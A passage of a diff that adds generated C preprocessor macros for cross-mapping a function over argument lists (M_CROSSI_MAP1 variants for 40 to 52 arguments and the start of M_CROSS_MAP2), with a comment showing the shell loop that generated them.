+#define M_CROSSI_MAP1_40b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) 
+#define M_CROSSI_MAP1_41(...) M_CROSSI_MAP1_41b(__VA_ARGS__)
+#define M_CROSSI_MAP1_41b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) 
+#define M_CROSSI_MAP1_42(...) M_CROSSI_MAP1_42b(__VA_ARGS__)
+#define M_CROSSI_MAP1_42b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) 
+#define M_CROSSI_MAP1_43(...) M_CROSSI_MAP1_43b(__VA_ARGS__)
+#define M_CROSSI_MAP1_43b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) 
+#define M_CROSSI_MAP1_44(...) M_CROSSI_MAP1_44b(__VA_ARGS__)
+#define M_CROSSI_MAP1_44b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) 
+#define M_CROSSI_MAP1_45(...) M_CROSSI_MAP1_45b(__VA_ARGS__)
+#define M_CROSSI_MAP1_45b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) 
+#define M_CROSSI_MAP1_46(...) M_CROSSI_MAP1_46b(__VA_ARGS__)
+#define M_CROSSI_MAP1_46b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) 
+#define M_CROSSI_MAP1_47(...) M_CROSSI_MAP1_47b(__VA_ARGS__)
+#define M_CROSSI_MAP1_47b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) 
+#define M_CROSSI_MAP1_48(...) M_CROSSI_MAP1_48b(__VA_ARGS__)
+#define M_CROSSI_MAP1_48b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) 
+#define M_CROSSI_MAP1_49(...) M_CROSSI_MAP1_49b(__VA_ARGS__)
+#define M_CROSSI_MAP1_49b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) M_MAP2(f, a49, M_ID blist) 
+#define M_CROSSI_MAP1_50(...) M_CROSSI_MAP1_50b(__VA_ARGS__)
+#define M_CROSSI_MAP1_50b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) M_MAP2(f, a49, M_ID blist) M_MAP2(f, a50, M_ID blist) 
+#define M_CROSSI_MAP1_51(...) M_CROSSI_MAP1_51b(__VA_ARGS__)
+#define M_CROSSI_MAP1_51b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) M_MAP2(f, a49, M_ID blist) M_MAP2(f, a50, M_ID blist) M_MAP2(f, a51, M_ID blist) 
+#define M_CROSSI_MAP1_52(...) M_CROSSI_MAP1_52b(__VA_ARGS__)
+#define M_CROSSI_MAP1_52b(f, blist, a1, a2, a3, a4, a5, a6, a7, a8, a9, a10, a11, a12, a13, a14, a15, a16, a17, a18, a19, a20, a21, a22, a23, a24, a25, a26, a27, a28, a29, a30, a31, a32, a33, a34, a35, a36, a37, a38, a39, a40, a41, a42, a43, a44, a45, a46, a47, a48, a49, a50, a51, a52) M_MAP2(f, a1, M_ID blist) M_MAP2(f, a2, M_ID blist) M_MAP2(f, a3, M_ID blist) M_MAP2(f, a4, M_ID blist) M_MAP2(f, a5, M_ID blist) M_MAP2(f, a6, M_ID blist) M_MAP2(f, a7, M_ID blist) M_MAP2(f, a8, M_ID blist) M_MAP2(f, a9, M_ID blist) M_MAP2(f, a10, M_ID blist) M_MAP2(f, a11, M_ID blist) M_MAP2(f, a12, M_ID blist) M_MAP2(f, a13, M_ID blist) M_MAP2(f, a14, M_ID blist) M_MAP2(f, a15, M_ID blist) M_MAP2(f, a16, M_ID blist) M_MAP2(f, a17, M_ID blist) M_MAP2(f, a18, M_ID blist) M_MAP2(f, a19, M_ID blist) M_MAP2(f, a20, M_ID blist) M_MAP2(f, a21, M_ID blist) M_MAP2(f, a22, M_ID blist) M_MAP2(f, a23, M_ID blist) M_MAP2(f, a24, M_ID blist) M_MAP2(f, a25, M_ID blist) M_MAP2(f, a26, M_ID blist) M_MAP2(f, a27, M_ID blist) M_MAP2(f, a28, M_ID blist) M_MAP2(f, a29, M_ID blist) M_MAP2(f, a30, M_ID blist) M_MAP2(f, a31, M_ID blist) M_MAP2(f, a32, M_ID blist) M_MAP2(f, a33, M_ID blist) M_MAP2(f, a34, M_ID blist) M_MAP2(f, a35, M_ID blist) M_MAP2(f, a36, M_ID blist) M_MAP2(f, a37, M_ID blist) M_MAP2(f, a38, M_ID blist) M_MAP2(f, a39, M_ID blist) M_MAP2(f, a40, M_ID blist) M_MAP2(f, a41, M_ID blist) M_MAP2(f, a42, M_ID blist) M_MAP2(f, a43, M_ID blist) M_MAP2(f, a44, M_ID blist) M_MAP2(f, a45, M_ID blist) M_MAP2(f, a46, M_ID blist) M_MAP2(f, a47, M_ID blist) M_MAP2(f, a48, M_ID blist) M_MAP2(f, a49, M_ID blist) M_MAP2(f, a50, M_ID blist) M_MAP2(f, a51, M_ID blist) M_MAP2(f, a52, M_ID blist) 
+
+
+/* Map a function f to each pair of arguments from the arglist 'a' and the arglist 'b', with an additional given data.
+   M_CROSS_MAP2(f, dat, (a,b), (c,d) ) ==> f(dat, a, c) f(dat, a, d) f(dat, b, c) f(dat, b, d) */
+#define M_CROSS_MAP2(f, d, alist, blist)    M_CROSSI_MAP2(f, d, alist, blist)
+#define M_CROSSI_MAP2(f, d, alist, blist)  M_C(M_CROSSI_MAP2_, M_NARGS alist)(f, d, blist, M_ID alist)
+/* Generated by :
+for i in $(seq 1 52) ; do
+    printf "#define M_CROSSI_MAP2_%d(...) M_CROSSI_MAP2_%db(__VA_ARGS__)\n" $i $i ;
+    printf "#define M_CROSSI_MAP2_%db(f, d, blist" $i ; for j in $(seq 1 $i) ; do printf ", a%d" $j ; done ; printf ") " ;
+    for j in $(seq 1 $i) ; do printf "M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a%d), M_ID blist) " $j; done ;
+    printf "\n" ;
+done
+*/
+#define M_CROSSI_MAP2_1(...) M_CROSSI_MAP2_1b(__VA_ARGS__)
+#define M_CROSSI_MAP2_1b(f, d, blist, a1) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) 
+#define M_CROSSI_MAP2_2(...) M_CROSSI_MAP2_2b(__VA_ARGS__)
+#define M_CROSSI_MAP2_2b(f, d, blist, a1, a2) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a1), M_ID blist) M_MAP2(M_CROSSI_MAP2_F_A, (f, d, a2), M_ID blist) 
+#define M_CROSSI_MAP2_3(...) M_CROSSI_MAP2_3b(__VA_ARGS__)
